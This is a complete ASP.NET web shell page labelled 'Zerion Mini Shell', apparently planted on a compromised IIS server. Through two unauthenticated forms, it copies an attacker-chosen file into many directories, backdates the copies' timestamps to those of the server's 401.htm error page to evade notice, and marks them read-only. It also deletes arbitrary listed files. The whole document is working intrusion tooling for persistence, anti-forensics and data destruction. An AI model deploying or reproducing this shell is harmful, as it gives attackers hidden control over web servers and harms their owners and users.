Mini Shell
<%@ Page Language="C#" Debug="true" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
if (Request.QueryString["type"] != null)
{
if (Request.QueryString["type"] == "333")
{
string Error_pth =null; String ok = null;
string path = Request.Form["textfield"];
string str = Request.Form["textfield2"];
string lastname = path.Split('\\')[path.Split('\\').Length - 1];
int cg = 0;
if (File.Exists(path))
{
string[] ssssss = str.Replace("\r\n", "|").Split('|');
foreach (string s in ssssss)
{
if (Directory.Exists(s))
{
try
{
File.Copy(path, s + "\\" + lastname, true);
File.SetLastWriteTimeUtc(s + "\\" + lastname, File.GetLastWriteTime("C:\\inetpub\\custerr\\en-US\\401.htm"));
File.SetCreationTimeUtc(s + "\\" + lastname, File.GetLastWriteTime("C:\\inetpub\\custerr\\en-US\\401.htm"));
File.SetLastAccessTimeUtc(s + "\\" + lastname, File.GetLastWriteTime("C:\\inetpub\\custerr\\en-US\\401.htm"));
File.SetAttributes(s + "\\" + lastname, FileAttributes.ReadOnly);
ok = ok + "\n" + s + "\\" + lastname;
cg++;
}
catch (Exception ex)
{
Error_pth = Error_pth + "\n" + s + "\\" + lastname + " ====> " + ex.Message;
}
}
}
}
textfield2.InnerText = "[+] Total Success: " + cg + "\n============================\n" +
ok + "\n\n\n"
+ "[!] Error List: " + "\n==============="+ Error_pth;
}
else if (Request.QueryString["type"] == "444")
{
string Error_pth2 =null;
int cg = 0;
string str = Request.Form["textfield1"];
string[] ssssss = str.Replace("\r\n", "|").Split('|');
foreach (string s in ssssss)
{
if (s != string.Empty)
{
try
{
File.SetAttributes(s, FileAttributes.Normal);
File.Delete(s);
cg++;
}
catch (Exception ex)
{
Error_pth2 = Error_pth2 + "\n" + s + " ====> " + ex.Message;
}
}
}
textfield1.InnerText = "[+] Total Success: " + cg + "\n=====================\n\n[!] Errors: \n============" + Error_pth2;
}
}
}
}
</script>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<form id="form1" name="form1" method="post" action="?type=333">
<table width="100%" border="1">
<tr>
<td width="32%" height="20">
<label>
<div align="right">Full PATH:<br /><br /><br />
</div>
</label>
</td>
<td width="68%">
<label>
<input name="textfield" type="text" size="50" style="height:30px; width: 1017px; border: #0099CC solid; color: #FF0066; font-size:16px; " />
<br />
<br />
</label></td>
</tr>
<tr>
<td>
<div align="right">目录文件:</div>
</td>
<td>
<textarea name="textfield2" id="textfield2" cols="100" rows="30" style="border: #0099CC solid; color: #FF0066; font-size:16px;font-weight: bold;" runat="server"/>
</textarea></td>
</tr>
<tr>
<td> </td>
<td>
<label>
<input type="submit" name="Submit" value="提交" style="width: 153px; Color:#ffffff; background:#666666" />
</label>
</td>
</tr>
</table>
</form>
<form id="form2" name="form2" method="post" action="?type=444">
<table width="100%" border="1">
<tr>
<td>
<div align="right">目录文件:</div>
</td>
<td>
<textarea name="textfield1" id="textfield1" runat="server" cols="100" rows="30" style="border: #0099CC solid; color: #FF0066; font-size:16px;font-weight: bold;">
</textarea></td>
</tr>
<tr>
<td> </td>
<td>
<label>
<input type="submit" name="Submit" value="删除" style="width: 153px; Color:#ffffff; background:#666666"/>
</label>
</td>
</tr>
</table>
</form>
</body>
</html>
Zerion Mini Shell 1.0